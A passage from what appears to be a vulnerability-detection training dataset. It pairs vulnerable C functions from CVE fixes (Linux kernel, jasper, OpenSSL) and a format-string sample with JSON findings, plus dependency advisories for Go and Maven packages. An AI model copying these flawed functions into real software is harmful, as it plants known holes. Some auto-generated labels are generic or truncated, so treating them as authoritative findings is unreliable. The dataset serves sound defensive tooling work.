ext4_ext_direct_IO(int rw, struct kiocb *iocb,\\n\\t\\t\\t const struct iovec *iov, loff_t offset,\\n\\t\\t\\t unsigned long nr_segs)\\n{\\n\\tstruct file *file = iocb->ki_filp;\\n\\tstruct inode *inode = file->f_mapping->host;\\n\\tssize_t ret;\\n\\tsize_t count = iov_length(iov, nr_segs);\\n\\n\\tloff_t final_size = offset + count;\\n\\tif (rw == WRITE && final_size <= inode->i_size) {\\n\\t\\t/*\\n \\t\\t * We could direct write to holes and fallocate.\\n\\t\\t *\\n \\t\\t * Allocated blocks to fill the hole are marked as uninitialized\\n \\t\\t * to prevent paralel buffered read to expose the stale data\\n \\t\\t * before DIO complete the data IO.\\n\\t\\t *\\n \\t\\t * As to previously fallocated extents, ext4 get_block\\n \\t\\t * will just simply mark the buffer mapped but still\\n \\t\\t * keep the extents uninitialized.\\n \\t\\t *\\n\\t\\t * for non AIO case, we will convert those unwritten extents\\n\\t\\t * to written after return back from blockdev_direct_IO.\\n\\t\\t *\\n\\t\\t * for async DIO, the conversion needs to be defered when\\n\\t\\t * the IO is completed. The ext4 end_io callback function\\n\\t\\t * will be called to take care of the conversion work.\\n\\t\\t * Here for async case, we allocate an io_end structure to\\n\\t\\t * hook to the iocb.\\n \\t\\t */\\n \\t\\tiocb->private = NULL;\\n \\t\\tEXT4_I(inode)->cur_aio_dio = NULL;\\n \\t\\tif (!is_sync_kiocb(iocb)) {\\n\\t\\t\\tiocb->private = ext4_init_io_end(inode, GFP_NOFS);\\n \\t\\t\\tif (!iocb->private)\\n \\t\\t\\t\\treturn -ENOMEM;\\n \\t\\t\\t/*\\n\\t\\t\\t * we save the io structure for current async\\n\\t\\t\\t * direct IO, so that later ext4_get_blocks()\\n\\t\\t\\t * could flag the io structure whether there\\n\\t\\t\\t * is a unwritten extents needs to be converted\\n\\t\\t\\t * when IO is completed.\\n\\t\\t\\t */\\n\\t\\t\\tEXT4_I(inode)->cur_aio_dio = iocb->private;\\n\\t\\t}\\n\\n\\t\\tret = blockdev_direct_IO(rw, iocb, inode,\\n\\t\\t\\t\\t\\t inode->i_sb->s_bdev, iov,\\n\\t\\t\\t\\t\\t offset, nr_segs,\\n\\t\\t\\t\\t\\t ext4_get_block_write,\\n\\t\\t\\t\\t\\t ext4_end_io_dio);\\n\\t\\tif (iocb->private)\\n\\t\\t\\tEXT4_I(inode)->cur_aio_dio = NULL;\\n\\t\\t/*\\n\\t\\t * The io_end structure takes a reference to the inode,\\n\\t\\t * that structure needs to be destroyed and the\\n\\t\\t * reference to the inode need to be dropped, when IO is\\n\\t\\t * complete, even with 0 byte write, or failed.\\n\\t\\t *\\n\\t\\t * In the successful AIO DIO case, the io_end structure will be\\n\\t\\t * desctroyed and the reference to the inode will be dropped\\n\\t\\t * after the end_io call back function is called.\\n\\t\\t *\\n\\t\\t * In the case there is 0 byte write, or error case, since\\n\\t\\t * VFS direct IO won't invoke the end_io call back function,\\n\\t\\t * we need to free the end_io structure here.\\n\\t\\t */\\n\\t\\tif (ret != -EIOCBQUEUED && ret <= 0 && iocb->private) {\\n\\t\\t\\text4_free_io_end(iocb->private);\\n\\t\\t\\tiocb->private = NULL;\\n\\t\\t} else if (ret > 0 && ext4_test_inode_state(inode,\\n\\t\\t\\t\\t\\t\\tEXT4_STATE_DIO_UNWRITTEN)) {\\n\\t\\t\\tint err;\\n\\t\\t\\t/*\\n\\t\\t\\t * for non AIO case, since the IO is already\\n\\t\\t\\t * completed, we could do the convertion right here\\n\\t\\t\\t */\\n\\t\\t\\terr = ext4_convert_unwritten_extents(inode,\\n\\t\\t\\t\\t\\t\\t\\t offset, ret);\\n\\t\\t\\tif (err < 0)\\n\\t\\t\\t\\tret = err;\\n\\t\\t\\text4_clear_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN);\\n\\t\\t}\\n\\t\\treturn ret;\\n\\t}\\n\\n\\t/* for write the the end of file case, we fall back to old way */\\n\\treturn ext4_ind_direct_IO(rw, iocb, iov, offset, nr_segs);\\n}\\n\",\n \"change_summary\": \"ext4: use ext4_get_block_write in buffer write\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag)\n {\n\tstruct request *rq = tags->rqs[tag];\n\t/* mq_ctx of flush rq is always cloned from the corresponding req */\n\tstruct blk_flush_queue *fq = blk_get_flush_queue(rq->q, rq->mq_ctx);\n\tif (!is_flush_request(rq, fq, tag))\n\t\treturn rq;\n\treturn fq->flush_rq;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-9016\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3,\n 4,\n 5,\n 6,\n 7,\n 8\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"request\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"blk_mq_tag_to_rq\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"blk_mq_tags\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"tags\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"tag\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 73\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"request\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"rq\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"tags\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"rqs\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"tag\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \"/* mq_ctx of flush rq is always cloned from the corresponding req */\",\n \"ast_node\": \"comment\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"blk_flush_queue\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"fq\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \"blk_get_flush_queue\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 49\n },\n {\n \"token\": \"rq\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 50\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 52\n },\n {\n \"token\": \"q\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 55\n },\n {\n \"token\": \"rq\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 57\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 59\n },\n {\n \"token\": \"mq_ctx\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 61\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 67\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 68\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"is_flush_request\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \"rq\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"fq\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 29\n },\n {\n \"token\": \"tag\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"rq\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 8,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-134", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the C source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "void log_msg(char *param) {\n printf(param);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-134\",\n \"cwe_name\": \"Uncontrolled Format String\",\n \"title\": \"Format string vulnerability\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 2\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"printf\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 16\n }\n ],\n \"explanation\": \"Untrusted input is used as the printf format string, enabling %n/%x memory attacks.\",\n \"remediation\": \"Never pass untrusted data as the format string; use printf(\\\"%s\\\", input).\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " jas_image_t *jas_image_create0()\n{\n\tjas_image_t *image;\n\n\tif (!(image = jas_malloc(sizeof(jas_image_t)))) {\n\t\treturn 0;\n\t}\n\n\timage->tlx_ = 0;\n\timage->tly_ = 0;\n\timage->brx_ = 0;\n\timage->bry_ = 0;\n\timage->clrspc_ = JAS_CLRSPC_UNKNOWN;\n \timage->numcmpts_ = 0;\n \timage->maxcmpts_ = 0;\n \timage->cmpts_ = 0;\n\timage->inmem_ = true;\n////\timage->inmem_ = true;\n \timage->cmprof_ = 0;\n \n \treturn image;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9557\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [\n 17\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"jas_image_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"jas_image_create0\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"jas_image_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"jas_malloc\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"jas_image_t\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 46\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 49\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \"tlx_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \"tly_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 16\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 6\n },\n {\n \"token\": \"brx_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 16\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 6\n },\n {\n \"token\": \"bry_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 13\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 16\n },\n {\n \"token\": \"image\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 6\n },\n {\n \"token\": \"clrspc_\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 16\n },\n {\n \"token\": \"JAS_CLRSPC_UNKNOWN\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 36\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/rancher/wrangler\nInstalled version: 1.0.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/rancher/wrangler\",\n \"installed_version\": \"1.0.1\",\n \"note\": \"github.com/rancher/wrangler 1.0.1 is at or above the fixed version for GO-2023-1519; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-310", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static const SSL_METHOD *ssl23_get_client_method(int ver)\n\t{\n#ifndef OPENSSL_NO_SSL2\n if (ver == SSL2_VERSION)\n return(SSLv2_client_method());\n #endif\n if (ver == SSL3_VERSION)\n return(SSLv3_client_method());\n else if (ver == TLS1_VERSION)\n return(TLSv1_client_method());\n else if (ver == TLS1_1_VERSION)\n return(TLSv1_1_client_method());\n\telse\n\t\treturn(NULL);\n\t}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-3568\",\n \"project\": \"openssl\",\n \"vulnerable_lines\": [\n 9\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"ver\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"SSL3_VERSION\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 31\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"SSLv3_client_method\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 45\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \"ver\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 9,\n \"col\": 20\n },\n {\n \"token\": \"TLS1_VERSION\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 35\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 10,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 22\n },\n {\n \"token\": \"TLSv1_client_method\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 45\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 16\n },\n {\n \"token\": \"ver\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 17\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \"TLS1_1_VERSION\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 38\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 12,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 22\n },\n {\n \"token\": \"TLSv1_1_client_method\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 46\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 47\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 14,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 14,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 14\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.tomcat.embed:tomcat-embed-core\nInstalled version: 9.0.0M1\nSummary: Apache Tomcat information exposure vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-jx6h-3fjx-cgv5\",\n \"cve\": \"CVE-2018-1305\",\n \"aliases\": [\n \"CVE-2018-1305\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.tomcat.embed:tomcat-embed-core\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=9.0.0M1, <9.0.5\",\n \"fixed_version\": \"9.0.5\",\n \"finding\": \"Apache Tomcat information exposure vulnerability\",\n \"remediation\": \"Upgrade org.apache.tomcat.embed:tomcat-embed-core to 9.0.5 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/go-getter\nInstalled version: <1.5.11\nSummary: Exposure of sensitive information via log file in github.com/hashicorp/go-getter", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2022-0438\",\n \"cve\": \"CVE-2022-29810\",\n \"aliases\": [\n \"CVE-2022-29810\",\n \"GHSA-27rq-4943-qcwp\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/go-getter\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.5.11\",\n \"fixed_version\": \"1.5.11\",\n \"finding\": \"Exposure of sensitive information via log file in github.com/hashicorp/go-getter\",\n \"remediation\": \"Upgrade 